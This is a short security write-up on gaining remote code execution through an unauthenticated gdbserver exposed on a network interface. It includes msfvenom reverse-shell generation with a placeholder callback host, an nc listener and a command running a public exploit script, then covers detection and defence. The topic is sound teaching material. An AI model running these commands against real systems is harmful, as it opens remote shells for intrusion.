RCE on an exposed gdbserver

gdbserver is the remote half of GDB, the GNU debugger. The legitimate idea is cross-debugging: the binary runs on one machine (often an embedded device or a container) under gdbserver, and a GDB on another machine connects over the network to debug it step by step. For that to work, GDB's protocol lets the client fully control the remote process: read and write its memory and registers, and, crucially, load and execute code.

The problem. gdbserver has no authentication. If started listening on a reachable interface (gdbserver 0.0.0.0:1337 ... instead of 127.0.0.1), anyone who reaches that port gets the same capabilities as a legitimate debugger: code execution with the privileges of the user that launched the service. It's RCE by design, not an implementation bug.

Exploitation. The public exploit (Exploit-DB 50539 for GDB 9.2, but the vector applies to other versions) follows three steps:

1. Build a reverse-shell shellcode. PrependFork=true makes the payload fork a child so the shell survives when gdbserver finishes the debugged process:

`bash msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> PrependFork=true -o rev.bin `

1. Open the listener: nc -nlvp <port>.
2. Run the exploit against gdbserver, which injects and executes the shellcode:

`bash python3 gdbserver_rce.py <ip>:1337 rev.bin `

How it's discovered. An exposed gdbserver rarely advertises itself: nmap usually leaves the port unfingerprinted. The clue comes another way, e.g. reading /proc/<PID>/cmdline (enumeration via /proc) and seeing the gdbserver --once 0.0.0.0:<port> command.

How to detect it. At rest, the exposure shows with ss -tlnp/netstat: a gdbserver listening on 0.0.0.0 is already the deviation. At runtime, the signature is an inbound connection to the gdbserver port from a non-development host, followed by the gdbserver process (or the debugged process) spawning sh/bash and an outbound connection (the PrependFork shellcode): auditd/Sysmon for Linux over execve with the debugged process as ppid catches it. There is no authentication, so any connection that leads to execution is malicious.

Defence. Never expose gdbserver on a network interface: bind it to 127.0.0.1 and, if remote access is needed, tunnel it over SSH. In production it shouldn't exist at all; it's a development tool.